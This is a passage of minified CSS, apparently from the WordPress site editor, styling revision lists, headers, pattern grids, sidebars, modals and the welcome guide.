#0000;outline-offset:-2px}.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__revision-button{opacity:1}.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item.is-selected:before{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba))}.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__meta{color:#1e1e1e}.edit-site-global-styles-screen-revisions__revision-item:after{border:.5px solid #ddd;height:100%;left:16px;top:0;width:0}.edit-site-global-styles-screen-revisions__revision-item:first-child:after{top:18px}.edit-site-global-styles-screen-revisions__revision-item:last-child:after{height:18px}.edit-site-global-styles-screen-revisions__revision-item .edit-site-global-styles-screen-revisions__revision-button{display:block;height:auto;outline-offset:-2px;padding:12px 12px 4px 40px;position:relative;width:100%;z-index:1}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{align-self:flex-start;margin:4px 12px 12px 40px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{color:#757575;font-size:12px}.edit-site-global-styles-screen-revisions__description{align-items:flex-start;display:flex;flex-direction:column;gap:8px}.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{font-size:12px;font-weight:600;text-transform:uppercase}.edit-site-global-styles-screen-revisions__meta{align-items:flex-start;display:flex;justify-content:start;margin-bottom:4px;text-align:left;width:100%}.edit-site-global-styles-screen-revisions__meta img{border-radius:100%;height:16px;margin-right:8px;width:16px}.edit-site-global-styles-screen-revisions__loading{margin:24px auto!important}.edit-site-global-styles-screen-revisions__changes{line-height:1.4;list-style:disc;margin-left:12px;text-align:left}.edit-site-global-styles-screen-revisions__changes li{margin-bottom:4px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{gap:2px;justify-content:space-between}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{height:1px;left:-1000px;margin:-1px;overflow:hidden;position:absolute}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{font-size:12px;will-change:opacity}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{color:#1e1e1e;font-size:28px;font-weight:200;line-height:1.2;margin-bottom:4px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled{color:#949494}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:hover{background:#0000}.edit-site-global-styles-screen-revisions__footer{background:#fff;border-top:1px solid #ddd;bottom:0;height:56px;min-width:100%;padding:12px;position:sticky;z-index:1}.edit-site-header-edit-mode{align-items:center;background-color:#fff;border-bottom:1px solid #e0e0e0;box-sizing:border-box;color:#1e1e1e;display:flex;height:60px;justify-content:space-between;padding-left:60px;width:100%}.edit-site-header-edit-mode .edit-site-header-edit-mode__start{align-items:center;border:none;display:flex;flex-shrink:2;height:100%;overflow:hidden}@media (min-width:782px){.edit-site-header-edit-mode .edit-site-header-edit-mode__start{padding-right:2px}}.edit-site-header-edit-mode .edit-site-header-edit-mode__end{display:flex;justify-content:flex-end}.edit-site-header-edit-mode .edit-site-header-edit-mode__center{align-items:center;display:flex;flex-grow:1;height:100%;justify-content:center;margin:0 16px;min-width:0}.edit-site-header-edit-mode__toolbar{align-items:center;display:flex;gap:8px;padding-left:16px}@media (min-width:782px){.edit-site-header-edit-mode__toolbar{padding-left:20px}}@media (min-width:1280px){.edit-site-header-edit-mode__toolbar{padding-right:8px}}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle.is-pressed svg{transform:rotate(45deg)}.edit-site-header-edit-mode__actions{align-items:center;display:inline-flex;flex-wrap:nowrap;gap:8px;padding-right:4px}@media (min-width:600px){.edit-site-header-edit-mode__actions{padding-right:8px}}.edit-site-header-edit-mode__preview-options{opacity:1;transition:opacity .3s}.edit-site-header-edit-mode__preview-options.is-zoomed-out{opacity:0}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon{width:auto}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon svg{display:none}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon:after{content:attr(aria-label)}.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon[aria-disabled=true]{background-color:initial}.edit-site-header-edit-mode.show-icon-labels .is-tertiary:active{background-color:initial;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color)}.edit-site-header-edit-mode.show-icon-labels .edit-site-save-button__button{padding-left:6px;padding-right:6px}.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info:after{content:none}.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info,.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__inserter-toggle.edit-site-header-edit-mode__inserter-toggle{height:36px;padding:0 8px}.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover{border-left:none}.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover:before{background-color:#ddd;content:"";height:24px;margin-left:8px;margin-top:4px;width:1px}.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container:before{background:#ddd;left:calc(50% + 1px);width:calc(100% - 24px)}.has-fixed-toolbar .selected-block-tools-wrapper{align-items:center;display:flex;height:60px;overflow:hidden}.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{border-bottom:0;height:100%}.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-toolbar{height:100%;padding-top:15px}.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.has-fixed-toolbar .selected-block-tools-wrapper:after{background-color:#ddd;content:"";height:24px;margin-left:8px;width:1px}.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group{border-right:none}.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group:after,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar:after{background-color:#ddd;content:"";height:24px;margin-left:8px;margin-top:4px;width:1px}.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{position:relative;top:-10px}}.has-fixed-toolbar .edit-site-header-edit-mode__center.is-collapsed,.has-fixed-toolbar .selected-block-tools-wrapper.is-collapsed{display:none}.edit-site-header-edit-mode__block-tools-toggle{margin-left:2px}.edit-site-list-header{align-items:center;box-sizing:border-box;display:flex;height:60px;justify-content:flex-end;padding-right:16px;position:relative;width:100%}body.is-fullscreen-mode .edit-site-list-header{padding-left:60px;transition:padding-left 20ms linear;transition-delay:80ms}@media (prefers-reduced-motion:reduce){body.is-fullscreen-mode .edit-site-list-header{transition-delay:0s;transition-duration:0s}}.edit-site-list-header .edit-site-list-header__title{font-size:20px;left:0;margin:0;padding:0;position:absolute;text-align:center;width:100%}.edit-site-list-header__right{position:relative}.edit-site .edit-site-list{background:#fff;border-radius:8px;box-shadow:0 20px 25px -5px #000c,0 8px 10px -6px #000c;flex-grow:1}.edit-site .edit-site-list .interface-interface-skeleton__editor{min-width:100%}@media (min-width:782px){.edit-site .edit-site-list .interface-interface-skeleton__editor{min-width:0}}.edit-site .edit-site-list .interface-interface-skeleton__content{align-items:center;background:#fff;padding:16px}@media (min-width:782px){.edit-site .edit-site-list .interface-interface-skeleton__content{padding:72px}}.edit-site-list-table{border:1px solid #ddd;border-radius:2px;border-spacing:0;margin:0 auto;max-width:960px;min-width:100%;overflow:hidden}.edit-site-list-table tr{align-items:center;border-top:1px solid #f0f0f0;box-sizing:border-box;display:flex;margin:0;padding:16px}.edit-site-list-table tr:first-child{border-top:0}@media (min-width:782px){.edit-site-list-table tr{padding:24px 32px}}.edit-site-list-table tr .edit-site-list-table-column:first-child{padding-right:24px;width:calc(60% - 18px)}.edit-site-list-table tr .edit-site-list-table-column:first-child a{display:inline-block;font-weight:500;margin-bottom:4px;text-decoration:none}.edit-site-list-table tr .edit-site-list-table-column:nth-child(2){width:calc(40% - 18px);word-break:break-word}.edit-site-list-table tr .edit-site-list-table-column:nth-child(3){flex-shrink:0;min-width:36px}.edit-site-list-table tr.edit-site-list-table-head{border-bottom:1px solid #ddd;border-top:none;color:#1e1e1e;font-size:16px;font-weight:600;text-align:left}.edit-site-list-table tr.edit-site-list-table-head th{font-weight:inherit}@media (min-width:782px){.edit-site-list.is-navigation-open .components-snackbar-list{margin-left:360px}}.edit-site-list__rename-modal{z-index:1000001}@media (min-width:782px){.edit-site-list__rename-modal .components-base-control{width:320px}}.edit-site-template__actions button:not(:last-child){margin-right:8px}.edit-site-list-added-by__icon{display:flex;flex-shrink:0;height:24px;width:24px}.edit-site-list-added-by__icon svg{fill:currentColor}.edit-site-list-added-by__avatar{align-items:center;display:flex;flex-shrink:0;height:24px;justify-content:center;overflow:hidden;width:24px}.edit-site-list-added-by__avatar img{border-radius:100%;height:20px;object-fit:cover;opacity:0;transition:opacity .1s linear;width:20px}@media (prefers-reduced-motion:reduce){.edit-site-list-added-by__avatar img{transition-delay:0s;transition-duration:0s}}.edit-site-list-added-by__avatar.is-loaded img{opacity:1}.edit-site-list-added-by__customized-info{color:#757575;display:block}.edit-site-page{background:#fff;color:#2f2f2f;height:100%}.edit-site-page-header{background:#fff;border-bottom:1px solid #f0f0f0;min-height:72px;padding:16px 32px;position:sticky;top:0;z-index:2}.edit-site-page-header .components-text{color:#2f2f2f}.edit-site-page-header .components-heading{color:#1e1e1e}.edit-site-page-header .edit-site-page-header__sub-title{color:#757575;margin-top:8px}.edit-site-page-content{display:flex;flex-flow:column;height:100%;position:relative;z-index:1}.page-pages-preview-field__button{background-color:unset;border:none;border-radius:3px 3px 0 0;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.page-pages-preview-field__button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.page-pages-preview-field__button.edit-site-page-pages__media-wrapper{background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.page-pages-preview-field__button.edit-site-page-pages__media-wrapper .edit-site-page-pages__featured-image{height:100%;object-fit:cover;width:100%}.page-pages-preview-field__button.edit-site-page-pages__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.edit-site-patterns{background:#1e1e1e;border-left:1px solid #2f2f2f;border-radius:0;margin:60px 0 0;min-height:100%;overflow-x:auto;padding:0}.edit-site-patterns .components-base-control{width:100%}@media (min-width:782px){.edit-site-patterns .components-base-control{width:auto}}.edit-site-patterns .components-text{color:#949494}.edit-site-patterns .components-heading{color:#e0e0e0}@media (min-width:782px){.edit-site-patterns{margin:0}}.edit-site-patterns .edit-site-patterns__search-block{flex-grow:1;min-width:-moz-fit-content;min-width:fit-content}.edit-site-patterns .edit-site-patterns__search{--wp-components-color-foreground:#e0e0e0}.edit-site-patterns .edit-site-patterns__search .components-input-control__container{background:#2f2f2f}.edit-site-patterns .edit-site-patterns__search svg{fill:#949494}.edit-site-patterns .edit-site-patterns__sync-status-filter{background:#2f2f2f;border:none;height:40px;max-width:100%;min-width:max-content;width:100%}@media (min-width:782px){.edit-site-patterns .edit-site-patterns__sync-status-filter{width:300px}}.edit-site-patterns .edit-site-patterns__sync-status-filter-option:not([aria-checked=true]){color:#949494}.edit-site-patterns .edit-site-patterns__sync-status-filter-option:active{background:#757575;color:#f0f0f0}.edit-site-patterns__header{background:#1e1e1e;padding:32px 32px 16px;position:sticky;top:0;z-index:2}.edit-site-patterns__header .edit-site-patterns__button{color:#949494}.edit-site-patterns__section{flex:1;padding:24px 32px}.edit-site-patterns__section-header .screen-reader-shortcut:focus{top:0}.edit-site-patterns__grid{display:grid;gap:32px;grid-template-columns:1fr;margin-bottom:0;margin-top:0}@media (min-width:960px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr}}@media (min-width:1440px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr 1fr}}@media (min-width:1920px){.edit-site-patterns__grid{grid-template-columns:1fr 1fr 1fr 1fr}}.edit-site-patterns__grid .edit-site-patterns__pattern{break-inside:avoid-column;display:flex;flex-direction:column}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;overflow:hidden;padding:0}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview:focus{box-shadow:inset 0 0 0 0 #fff,0 0 0 2px var(--wp-admin-theme-color);outline:2px solid #0000}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive{cursor:default}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #2f2f2f;opacity:.8}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__button,.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__footer{color:#949494}.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__dropdown{flex-shrink:0}.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview{align-items:center;border:1px dashed #2f2f2f;color:#949494;display:flex;justify-content:center;min-height:64px}.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-patterns__grid .edit-site-patterns__preview{flex:0 1 auto;margin-bottom:12px}.edit-site-patterns__load-more{align-self:center}.edit-site-patterns__pattern-title{color:#e0e0e0}.edit-site-patterns__pattern-title .is-link{color:#e0e0e0;text-decoration:none}.edit-site-patterns__pattern-title .is-link:focus,.edit-site-patterns__pattern-title .is-link:hover{color:#fff}.edit-site-patterns__pattern-title .edit-site-patterns__pattern-icon{background:var(--wp-block-synced-color);border-radius:4px;fill:#fff}.edit-site-patterns__pattern-title .edit-site-patterns__pattern-lock-icon{fill:currentcolor}.edit-site-patterns__no-results{color:#949494}.edit-site-patterns__delete-modal{width:384px}.edit-site-patterns__pagination{background:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;color:#f0f0f0;padding:24px 32px;position:sticky;z-index:2}.edit-site-patterns__pagination .components-button.is-tertiary{background-color:#2f2f2f;color:#f0f0f0}.edit-site-patterns__pagination .components-button.is-tertiary:disabled{background:none;color:#949494}.edit-site-patterns__pagination .components-button.is-tertiary:hover:not(:disabled){background-color:#757575}.edit-site-page-patterns-dataviews{margin-top:60px}@media (min-width:782px){.edit-site-page-patterns-dataviews{margin-top:0}}.edit-site-page-patterns-dataviews .page-patterns-preview-field{border-radius:3px 3px 0 0;display:flex;flex-direction:column;height:100%}.edit-site-page-patterns-dataviews .page-patterns-preview-field.is-viewtype-grid .block-editor-block-preview__container{border-radius:3px 3px 0 0;height:100%}.edit-site-page-patterns-dataviews .page-patterns-preview-field .page-patterns-preview-field__button{background-color:unset;border:none;border-radius:3px 3px 0 0;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0}.edit-site-page-patterns-dataviews .page-patterns-preview-field .page-patterns-preview-field__button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-icon{fill:var(--wp-block-synced-color);flex-shrink:0}.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-lock-icon{min-width:min-content}.edit-site-page-patterns-dataviews .edit-site-patterns__section-header{border-bottom:1px solid #f0f0f0;min-height:72px;padding:16px 32px;position:sticky;top:0;z-index:2}.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-title{color:inherit;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.edit-site-page-patterns-dataviews .dataviews-pagination{z-index:2}.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{width:350px}.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{position:relative}.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;left:-1px;max-height:96px;min-width:auto;position:absolute;width:calc(100% + 2px);z-index:1}@media (min-width:600px){.dataviews-action-modal__duplicate-template-part .components-modal__frame{max-width:500px}}.page-templates-preview-field{border-radius:3px 3px 0 0;display:flex;flex-direction:column;height:100%}.page-templates-preview-field .page-templates-preview-field__button{background-color:unset;border:none;border-radius:3px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0}.page-templates-preview-field .page-templates-preview-field__button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.page-templates-preview-field.is-viewtype-list .block-editor-block-preview__container{height:120px}.page-templates-preview-field.is-viewtype-grid .block-editor-block-preview__container{height:auto}.page-templates-preview-field.is-viewtype-grid .page-templates-preview-field__button{border-radius:3px 3px 0 0}.page-templates-preview-field.is-viewtype-table{border-radius:2px;position:relative}.page-templates-preview-field.is-viewtype-table:after{border-radius:2px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.page-templates-description{white-space:normal}.edit-site-page-template-template-parts-dataviews .dataviews-pagination{z-index:2}.edit-site-table-wrapper{padding:32px;width:100%}.edit-site-table{border-collapse:collapse;border-color:inherit;position:relative;text-indent:0;width:100%}.edit-site-table a{text-decoration:none}.edit-site-table th{color:#757575;font-weight:400;padding:0 16px 16px;text-align:left}.edit-site-table td{padding:16px}.edit-site-table td,.edit-site-table th{vertical-align:center}.edit-site-table td:first-child,.edit-site-table th:first-child{padding-left:0}.edit-site-table td:last-child,.edit-site-table th:last-child{padding-right:0;text-align:right}.edit-site-table tr{border-bottom:1px solid #f0f0f0}.edit-site-sidebar-edit-mode{width:280px}.edit-site-sidebar-edit-mode>.components-panel{border-left:0;border-right:0;margin-bottom:-1px;margin-top:-1px}.edit-site-sidebar-edit-mode>.components-panel>.components-panel__header{background:#f0f0f0}.edit-site-sidebar-edit-mode .block-editor-block-inspector__card{margin:0}.edit-site-global-styles-sidebar{display:flex;flex-direction:column;min-height:100%}.edit-site-global-styles-sidebar__navigator-provider,.edit-site-global-styles-sidebar__panel{display:flex;flex:1;flex-direction:column}.edit-site-global-styles-sidebar__navigator-screen{flex:1}.edit-site-global-styles-sidebar .interface-complementary-area-header .components-button.has-icon{margin-left:0}.edit-site-global-styles-sidebar__reset-button.components-button{margin-left:auto}.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{font-size:15.6px;font-weight:500}.edit-site-global-styles-sidebar .components-navigation__item>button span{font-weight:500}.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings,.edit-site-typography-panel{border:0}.edit-site-global-styles-sidebar .single-column{grid-column:span 1}.edit-site-global-styles-sidebar .components-tools-panel .span-columns{grid-column:1/-1}.edit-site-global-styles-sidebar__blocks-group{border-top:1px solid #e0e0e0;padding-top:24px}.edit-site-global-styles-sidebar__blocks-group-help{padding:0 16px}.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{padding:16px}.edit-site-global-styles-sidebar hr{margin:0}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.edit-site-sidebar__panel{margin-top:-1px}.edit-site-page-panels__swap-template__confirm-modal__actions{margin-top:24px}.edit-site-change-status__content .components-popover__content{min-width:320px;padding:16px}.edit-site-change-status__content .edit-site-change-status__options .components-base-control__field>.components-v-stack{gap:8px}.edit-site-change-status__content .edit-site-change-status__options label .components-text{display:block}.edit-site-change-status__content .edit-site-change-status__password-legend{margin-bottom:8px;padding:0}.edit-site-summary-field__trigger{display:block;max-width:100%;overflow:hidden;text-align:left;text-overflow:ellipsis;white-space:nowrap}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs{padding-left:0;padding-right:16px}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{height:24px;min-width:24px;padding:0}@media (min-width:782px){.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{display:flex}}.edit-site-sidebar-card{align-items:flex-start;display:flex}.edit-site-sidebar-card__content{flex-grow:1;margin-bottom:4px}.edit-site-sidebar-card__title{font-weight:500;line-height:24px}.edit-site-sidebar-card__title.edit-site-sidebar-card__title{font-size:13px;line-height:1.4;margin:0;padding:3px 0}.edit-site-sidebar-card__description{font-size:13px}.edit-site-sidebar-card__icon{flex:0 0 24px;height:24px;margin-right:12px;width:24px}.edit-site-sidebar-card__header{display:flex;justify-content:space-between;margin:0 0 4px}.edit-site-template-card__template-areas{margin-top:16px}.edit-site-template-card__template-areas-list,.edit-site-template-card__template-areas-list>li{margin:0}.edit-site-template-card__template-areas-item{width:100%}.edit-site-template-card__template-areas-item.components-button.has-icon{padding:0}.edit-site-template-card__actions{line-height:0}.edit-site-template-card__actions>.components-button.is-small.has-icon{min-width:auto;padding:0}h3.edit-site-template-card__template-areas-title{font-weight:500;margin:0 0 8px}.edit-site-template-panel__replace-template-modal{z-index:1000001}.edit-site-template-panel__replace-template-modal__content{column-count:2;column-gap:24px}@media (min-width:782px){.edit-site-template-panel__replace-template-modal__content{column-count:3}}@media (min-width:1280px){.edit-site-template-panel__replace-template-modal__content{column-count:4}}.edit-site-editor__interface-skeleton{opacity:1;transition:opacity .1s ease-out}@media (prefers-reduced-motion:reduce){.edit-site-editor__interface-skeleton{transition-delay:0s;transition-duration:0s}}.edit-site-editor__interface-skeleton.is-loading{opacity:0}.edit-site-editor__interface-skeleton .interface-interface-skeleton__header{border:0}.edit-site-editor__toggle-save-panel{background-color:#fff;border:1px dotted #ddd;box-sizing:border-box;display:flex;justify-content:center;padding:24px;width:280px}.edit-site .components-editor-notices__snackbar{bottom:40px;left:0;padding-left:16px;padding-right:16px;position:absolute;right:0}@media (min-width:783px){.edit-site .components-editor-notices__snackbar{left:160px}}@media (min-width:783px){.auto-fold .edit-site .components-editor-notices__snackbar{left:36px}}@media (min-width:961px){.auto-fold .edit-site .components-editor-notices__snackbar{left:160px}}.folded .edit-site .components-editor-notices__snackbar{left:0}@media (min-width:783px){.folded .edit-site .components-editor-notices__snackbar{left:36px}}body.is-fullscreen-mode .edit-site .components-editor-notices__snackbar{left:0!important}.edit-site-create-template-part-modal{z-index:1000001}@media (min-width:600px){.edit-site-create-template-part-modal .components-modal__frame{max-width:500px}}.edit-site-create-template-part-modal__area-radio-group{border:1px solid #757575;border-radius:2px;width:100%}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio{display:block;height:100%;padding:12px;text-align:left;width:100%}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover{background-color:inherit;border-bottom:1px solid #757575;border-radius:0;margin:0}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:focus){box-shadow:none}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:focus{border-bottom:1px solid #fff}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:last-of-type{border-bottom:none}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true]{color:#1e1e1e;cursor:auto}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover) .edit-site-create-template-part-modal__option-label div,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true] .edit-site-create-template-part-modal__option-label div{color:#949494}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label{padding-top:4px;white-space:normal}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label div{font-size:12px;padding-top:4px}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__checkbox{margin-left:auto;min-width:24px}.edit-site-welcome-guide{width:312px}.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image .edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{background:#00a0d2}.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{border-right:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{border-left:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide__image{margin:0 0 16px}.edit-site-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-site-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-site-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-site-welcome-guide__text img{vertical-align:bottom}.edit-site-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-site-start-template-options__modal .edit-site-start-template-options__modal__actions{background-color:#fff;border-top:1px solid #ddd;bottom:0;height:92px;margin-left:-32px;margin-right:-32px;padding-left:32px;padding-right:32px;position:absolute;width:100%;z-index:1}.edit-site-start-template-options__modal .block-editor-block-patterns-list{padding-bottom:92px}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:4}}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{display:none}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{box-shadow:0 0 0 1px #ddd}.edit-site-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-site-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-site-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-site-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-site-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-site-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 